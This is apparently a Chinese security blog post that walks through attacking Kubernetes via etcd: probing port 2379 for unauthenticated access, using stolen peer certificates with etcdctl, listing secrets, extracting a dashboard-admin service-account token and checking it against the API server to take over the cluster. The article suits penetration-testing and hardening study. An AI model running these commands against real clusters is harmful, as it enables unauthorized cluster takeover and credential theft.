在安裝完K8s后,默認會安裝etcd組件,etcd是一個高可用的key-value數據庫,它為k8s集群提供底層數據存儲,保存了整個集群的狀態。大多數情形下,數據庫中的內容沒有加密,因此如果黑客拿下etcd,就意味著能控制整個K8s集群。
在K8s集群初始化后,etcd默認就以pod的形式存在,可以執行如下命令進行查看,etcd組件監聽的端口為2379,并且對外開放。如圖所示:


在etcd的配置文件/etc/kubernetes/manifests/etcd.yaml中,--client-cert-auth默認是true的,如圖所示。

這就意味著訪問etcd服務需要攜帶cert進行認證,執行如下命令訪問etcd服務,可以看到提示未認證。etcdctl項目地址:https://github.com/etcd-io/etcd/releases/
#使用curl訪問curl https://172.16.200.70:2379/version -k#使用etcdctl訪問./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only

如果我們拿到了認證所屬的如下證書,就可以遠程進行認證了
#目標master節點上的證書/etc/kubernetes/pki/etcd/peer.crt/etc/kubernetes/pki/etcd/ca.crt/etc/kubernetes/pki/etcd/peer.key#將這三個認證所需的文件放在本地的etcdctl所在目錄,然后導入export ETCDCTL_CERT=peer.crtexport ETCDCTL_CACERT=ca.crtexport ETCDCTL_KEY=peer.key./etcdctl --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only

etcd未授權訪問
如果目標在啟動etcd的時候沒有開啟證書認證選項,且2379端口直接對外開放的話,則存在etcd未授權訪問漏洞。
訪問目標的https://IP:2379/version 或 https://IP:2379/v2/keys,看看是否存在未授權訪問。如果顯示如下,則證明存在未授權訪問。
{etcdserver: "3.2.24", etcdcluster: "3.2.0"}或{"action":"get","node":{"dir":true}}
查找Token,接管K8s集群
由于Service Account 關聯了一套憑證,存儲在 Secret中。因此我們可以過濾Secret,查找具有高權限的Secret,然后獲得其token接管K8s集群。
#查找所有的secretETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get / --prefix --keys-only|sort|uniq| grep secret#查找指定decret保存的證書和tokenETCDCTL_API=3 ./etcdctl --insecure-transport=false --insecure-skip-tls-verify --endpoints=https://172.16.200.70:2379/ get /registry/secrets/kube-system/dashboard-admin-token-c7spp


最后的token為 token? 和 #kubernetes.io/service-account-token之間的部分。

可以使用curl驗證token的有效性
curl --header "Authorization: Token" -X GET https://172.16.200.70:6443/api -k

然后就可以使用token登錄dashboard或者遠程命令管理K8s

E安全
關鍵基礎設施安全應急響應中心
黑白之道
黑客技術和網絡安全
看雪學苑
安全圈
FreeBuf
黑客技術和網絡安全
看雪學苑
betasec
綠盟科技
Bypass